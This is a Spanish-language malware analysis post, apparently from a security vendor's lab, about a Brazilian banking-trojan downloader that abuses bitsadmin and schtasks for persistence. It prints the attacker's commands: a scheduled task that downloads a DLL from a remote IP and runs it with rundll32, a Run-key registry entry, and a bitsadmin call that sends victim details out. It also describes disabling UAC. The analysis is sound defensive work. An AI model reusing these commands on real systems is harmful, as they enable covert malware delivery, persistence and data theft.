Cuando analizamos en nuestro Laboratorio de Investigación las amenazas que afectan a Latinoamérica, con mucha frecuencia encontramos que se utilizan las mismas técnicas. Ya sea para lograr que los códigos maliciosos persistan en el sistema, para descargar otras amenazas o para comunicarse con un equipo remoto, los ciberdelincuentes suelen implementar sus métodos de manera similar. Hoy, sin embargo, quiero mostrarles una técnica muy astuta que están utilizando en Brasil para intentar que sus troyanos bancarios pasen desapercibidos.

Vamos a analizar un archivo de nombre “Urgente-3891783.exe”: un downloader escrito en Delphi que tiene un ícono similar al de los documentos de Excel y que se propaga como adjunto de falsos correos electrónicos. Lo primero que vale la pena destacar es la inclusión de ciertos controles en el código. En la siguiente imagen vemos cómo se consulta la IP de la computadora afectada:

geoip

Si el documento html devuelto por geoip.co.uk contiene la palabra “BRASIL”, “BRAZIL” o “>BR<” (es decir, si la computadora tiene una dirección IP de Brasil), el programa va a ejecutar la descarga de troyanos bancarios en el sistema. Caso contrario, el programa termina de inmediato su ejecución.

De igual forma, otro control verifica el nombre de usuario de Windows: si el usuario actual contiene las palabras “WORKSTATION”, “VIRUS”, “ANTONY” o “ANTONIE”, la ejecución es abortada. ¿Será que un supuesto cibercriminal Antony no quería infectarse a sí mismo ni a sus homónimos?

Otra curiosidad tiene que ver con las strings. Si bien a simple vista pareciera que están codificadas en base 64, los cibercriminales han utilizado DCPCrypt, una librería open source con diversos algoritmos criptográficos para Delphi. En este caso, han utilizado RC4.

Luego, el programa realiza la descarga de varios archivos DLL en el sistema. Todos estos están compilados también en Delphi y son troyanos bancarios, pero lo más importante a destacar es el método utilizado para la descarga. A continuación vemos cómo se invoca ShellExecute para cmd.exe:

bitsadmin

En la parte inferior de la imagen se puede apreciar la cadena de comandos a ejecutar. Para mayor claridad se repite a continuación:

cmd.exe /c schtasks /CREATE /SC onstart /DELAY 0002:00 /TN "Java Virtual Machine" 
/TR "cmd /c bitsadmin /transfer My /Download /Priority HIGH
 http://xxx.xx.xxx.53/system/KR-1.0.0.0/IUpdate.dll %temp%\IUpdate.dll&rundll32.exe
  %Temp%\IUpdate.dll,Start " /ru SYSTEM /f

Vemos que se crea una tarea llamada “Java Virtual Machine”, que se ejecutará bajo el usuario system en cada inicio del sistema. ¿Cuál es la acción a realizar por esa tarea? Puede observarse como el argumento TR de schtasks. Se extrae a continuación para mayor claridad:

cmd /c bitsadmin /transfer My /Download /Priority HIGH 
http://xxx.xx.xxx.53/system/KR-1.0.0.0/IUpdate.dll 
%temp%\IUpdate.dll&rundll32.exe&rundll32.exe %Temp%\IUpdate.dll,Start

Así, en cada inicio del sistema, se ejecutan dos comandos: bitsadmin para descargar el troyano y rundll32 para ejecutarlo. Y es el uso de bitsadmin, una herramienta legítima de Microsoft para la transferencia de archivos y control de tareas en forma remota, lo que nos llama la atención.

Dado que bitsadmin es utilizado para la descarga de actualizaciones para Windows, es muy probable que pase desapercibido, especialmente en una organización. El uso de esta técnica le brinda a los cibercriminales la capacidad de reinfectar sistemas y lograr la persistencia de sus amenazas sin dejar muchas pistas. Como se menciona en este post y en este otro, existen varias ventajas del uso de este mecanismo y se resumen a continuación:

  • No quedan rastros de los downloaders
  • El cibercriminal puede remover el malware que se descarga del servidor remoto si desea desaparecer por algún tiempo
  • Se logra la persistencia de la amenaza y la reinfección, sin necesidad de lograr acceso a los equipos infectados nuevamente. Luego de la primera infección, cada reinfección es transparente
  • No requiere credenciales de administrador
  • Es una técnica muy poco conocida

Con respecto a este último punto, se han visto pocos casos del uso de esta técnica “in the wild”. Uno de ellos es f0xy, según observaba websense a principios de 2015. Nuevamente, llama la atención la inventiva de los cibercriminales en Brasil, de tomar esta técnica y adaptarla a sus troyanos bancarios. Vemos cómo estos sujetos no solamente reutilizan código, sino que están desarrollando y mejorando sus amenazas.

Una vez que la tarea ha sido creada, el downloader no espera al próximo inicio de sesión, y realiza la ejecución mediante el comando schtasks:

"C:\Windows\System32\cmd.exe" /C Cd.. & Ping 127.0.0.1 -n 10 & schtasks 
/Run /Tn "Java Virtual Machine"

IUpdate.dll también es un downloader con características similares: empaquetado con UPX, programado en Delphi, con strings cifradas con RC4. Además, realiza la descarga de otras cuatro DLL en el sistema (los nombres de los archivos los incluyo al final). Sin embargo, vale notar que la amenaza ahora sí utiliza una técnica común de persistencia mediante la modificación de la clave de registro Run:

REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Adobe Flash Player" 
/t REG_SZ /d "C:\Windows\System32\rundll32.exe
 \"C:\Users\Labo\AppData\Roaming\\Microsoft\Console\Application\KR2004\Ubuntu10.dll\"",Start /f

De este modo, se asegura la ejecución del troyano bancario “Ubuntu10.dll”. También se eliminan reglas del firewall mediante el comando netsh y se desactiva el Control de cuentas de usuario (UAC) mediante la modificación de algunas claves de registro como “EnableLUA” o “PromptOnSecureDesktop”.

Finalmente, IUpdate.dll contacta al servidor malicioso, realizando el envío de información de la víctima, también a través de bitsadmin:

bitsadmin /transfer My /Download /Priority HIGH 
"http://xxx.xx.xxx.53/home.asp?i=20151116144901&n=FIREFOX.EXE; Google Chrome;
 IEXPLORE.EXE; VMWAREHOSTOPEN.EXE&u=Labo&s=Windows_7_Professional_32-Service_Pack_1
&v=KR-2.0.0.5&c=ALVARITO" %temp%\magic.typ

El ID de la víctima es generado en base a la fecha de infección. Luego de que la información ha sido enviada, se fuerza el reinicio del sistema.

Archivos analizados

Nombre SHA-1 Detección de ESET
Urgente-3891783.exe 902e1af32afad8a77cfd9f8005ef7a2ce29c9cdb Win32/Spy.Banker.ACQK
IUpdate.dll adeaae1a71fa64be0345a38af7c523b65745ae2c Win32/Spy.Banker.ACRH
fbclient.dll 8d551085e0dc32e60ae1637c4ab76bcb4d788f89 Win32/Spy.Banker.ACRI
Ubuntu10.dll 358f5bdba870c71db73479465a1b02c65e58d8e6 Win32/Spy.Banker.ACRJ
IETask.dll b41c4bbbbfb34d24a1b4e0dda8288dd0425cd683 Win32/Spy.Banker.ACRJ
IMvc.Microsoft.Net.dll 3a41394e4ac71834cfd8973bb3582b2503fa5534 Win32/Spy.Banker.ACRL